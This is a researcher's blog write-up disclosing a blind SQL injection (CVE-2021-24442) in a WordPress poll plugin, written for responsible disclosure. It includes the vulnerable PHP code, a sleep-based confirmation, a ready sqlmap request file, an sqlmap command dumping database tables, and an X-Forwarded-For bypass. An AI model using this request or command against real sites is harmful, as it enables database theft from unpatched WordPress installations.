WpDevArt Wordpress Polls Plugin < 1.5.2 - Blind SQL Injection

What's up everyone! Today I'll be quickly discussing my first CVE entry - CVE-2021-24442 - and my thought process when I decided to start looking for it. It's been my goal for a while, not only for a little confidence boost among the consistent industry imposter syndrome, but primarily to ensure that I helped sites become more secure.

Selecting Software

When considering where I'd look for my first CVE, I had lots of things on my mind. It needed to be easy to spin up locally, had accessible source code for reviewing and have multiple features and parameters that could be tested. I decided to install a wordpress instance locally, just using the official Ubuntu setup guide. It only took about 5 minutes.

Then, I scanned the new plugins list for anything that caught my eye. I saw a variety of software, from optimization tools to user management systems. I decided, eventually, to explore plugins that provided wordpress users polls and questionnaires. I liked this concept, there is lots of types of answers and parameters being passed when answering polls, plus the potential for displaying results back to users that I could use to explore XSS.

I selected a plugin from WpDevArt, a company who produce a multitude of plugins. It had about 1000 active installations at the time.

Poll, Survey, Questionnaire and Voting system
Poll, Survey, Questionnaire and Voting system is a wonderful tool for creating polls and survey forms for your website visitors.

After installing it to my site and creating a poll, I started to examine the source code.

Source Code Analysis

From messing around with the software, I noted that the updated vote gets sent to the server on click and the results automatically update. Therefore, selecting a vote was an action that could be intercepted in burp.

Intercepting a Vote

I searched for where the parameters were passed to the backend, to check if they were being sanitized.

$question_id = intval($_POST['question_id']);
$new_voted_array = $_POST['date_answers'];
POST Values being parsed

The $question_id variable was being somewhat sanitized, ensuring whatever got passed was an integer. However, the $new_voted_array was being pulled directly from the date_answers parameter without any checks on the value. This parameter controlled which option received a vote (1 would add a vote to the first response in the poll, 2 the second, and so on).

The code went on to later insert this value into the database without sufficient sanitization, leading to an SQL Injection.

if ($new_voted_array)
	foreach ($new_voted_array as $new_answer) {
		$wpdb->query('UPDATE ' . $wpdb->prefix . 'polls SET vote = vote+1 WHERE `question_id` = ' . $question_id . ' AND `answer_name` = ' .$new_answer. '');
        }
Vulnerable Code Block

Since the output was never visible, I had to confirm this by adding a sleep(10) parameter to the date_answers request. The server slept before sending the response, suggesting the vulnerability was indeed present.

The above code is fixed in version 1.5.1, but there remains a vulnerability in 1.5.1 and 1.5.2. When a user is voting for the first time, the vote is cast in a different statement that also does not get sanitized. Coupled with the fact the application uses user-controlled headers to determine whether a user has voted already, an attacker can just edit their origin IP with an X-Forwarded-For header (or similar) to vote multiple times but also invoke the SQL Injection still.

if ($new_voted_array)
	foreach ($new_voted_array as $answer) {
		$wpdb->query('UPDATE ' . $wpdb->prefix . 'polls SET vote = vote+1 WHERE question_id = ' . $question_id . ' AND answer_name = ' . $answer . '');
	}
Vulnerable Code Block

This is because the application obtains the IP address of the user from a user-controllable variable.

	/*Function for Geting User Ip*/
	private  function get_user_ip() {
		$ipaddress = '';
		if (getenv('HTTP_CLIENT_IP'))
			$ipaddress = getenv('HTTP_CLIENT_IP');
		else if (getenv('HTTP_X_FORWARDED_FOR'))
			$ipaddress = getenv('HTTP_X_FORWARDED_FOR');
		else if (getenv('HTTP_X_FORWARDED'))
			$ipaddress = getenv('HTTP_X_FORWARDED');
		else if (getenv('HTTP_FORWARDED_FOR'))
			$ipaddress = getenv('HTTP_FORWARDED_FOR');
		else if (getenv('HTTP_FORWARDED'))
			$ipaddress = getenv('HTTP_FORWARDED');
		else if (getenv('REMOTE_ADDR'))
			$ipaddress = getenv('REMOTE_ADDR');
		else
			$ipaddress = '000';
		$ipaddress = explode(',', $ipaddress);
		$ipaddress = $ipaddress[0];
		return $ipaddress;
	}
   
IP Address Function

Database Extraction

I could have spent time manually writing a python script to extract the tables, but it seemed cumbersome and I wanted to get it out to the developer ASAP for fixing, so I just used sqlmap. I saved a request and denoted the exploit location with an asterisk (*).

POST /blog/wp-admin/admin-ajax.php?action=pollinsertvalues HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 67
Origin: http://localhost
DNT: 1
Connection: close
Referer: http://localhost/blog/index.php/2021/06/09/research/
Cookie: wordpress_d23cdc2cc5dd18709e8feb86452d865b=inspired%7C1623345285%7C52E5QESQG5PIPUT2tixVHPIkdN8inwgNojy9hs0JvDS%7C3538f3f44a02304781e099f970dc762fd89e88378a46613cf636fcd28a9755d3; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_d23cdc2cc5dd18709e8feb86452d865b=inspired%7C1623345285%7C52E5QESQG5PIPUT2tixVHPIkdN8inwgNojy9hs0JvDS%7C3d7d7b6485e1daa04da753dcc4e85a56150091301de3668ffe108e7829134f0d; wp-settings-time-1=1623238438

question_id=1&poll_answer_securety=5b29ac18fe&date_answers%5B0%5D=*
sqlmap request

Then running sqlmap with maximum level and risk, it was possible to dump out information from the database.

sqlmap -r request.txt --dbms=mysql -D wordpress --tables --level=5 --risk=3

Database: wordpress
[19 tables]
+-----------------------+
| wp_commentmeta        |
| wp_comments           |
| wp_democracy_a        |
| wp_democracy_log      |
| wp_democracy_q        |
| wp_links              |
| wp_options            |
| wp_polls              |
| wp_polls_question     |
| wp_polls_templates    |
| wp_polls_users        |
| wp_postmeta           |
| wp_posts              |
| wp_term_relationships |
| wp_term_taxonomy      |
| wp_termmeta           |
| wp_terms              |
| wp_usermeta           |
| wp_users              |
+-----------------------+
Example: Dumping table names

Proof of Concept

Systems Affected

WordPress websites running "Poll, Survey, Questionnaire and Voting system" plugin version 1.5.2 (older versions may also be affected).

Remediation

The update has been fixed in version 1.5.3, so it is advised to update to this version if using the plugin.

Takeaways

A relatively easy to find vulnerability for my first attempt, which was easily conformable with the presence of the source code. Nonetheless, it could have devastating affects if sites actively use older versions and could compromise all three pillars of the CIA triad - Confidentiality, Integrity and Availability.

I will continue, with renewed vigor, to explore vulnerabilities in plugins to help make the internet a safer place!

DISCLOSURE TIMELINE

June 9, 2021 1: Vulnerability identified.
June 9, 2021 2: Informed developer of the vulnerability.
June 9, 2021 3: Vendor replied to discuss the vulnerability in more detail.
June 9, 2021 4: Sent vendor proof of concept and impacted code blocks.
June 10, 2021 1: Vendor emails to state the vulnerability has been fixed.
June 10, 2021 2: Confirmed initial fix, vendor happy to disclose the vulnerability.
June 10, 2021 3: Requested CVE Number.
June 19, 2021 1: WPScan contact to discuss vulnerability.
June 19, 2021 2: Confirmed fix is not valid when new user votes or edits headers.
June 19, 2021 3: Contacted vendor to request further fix.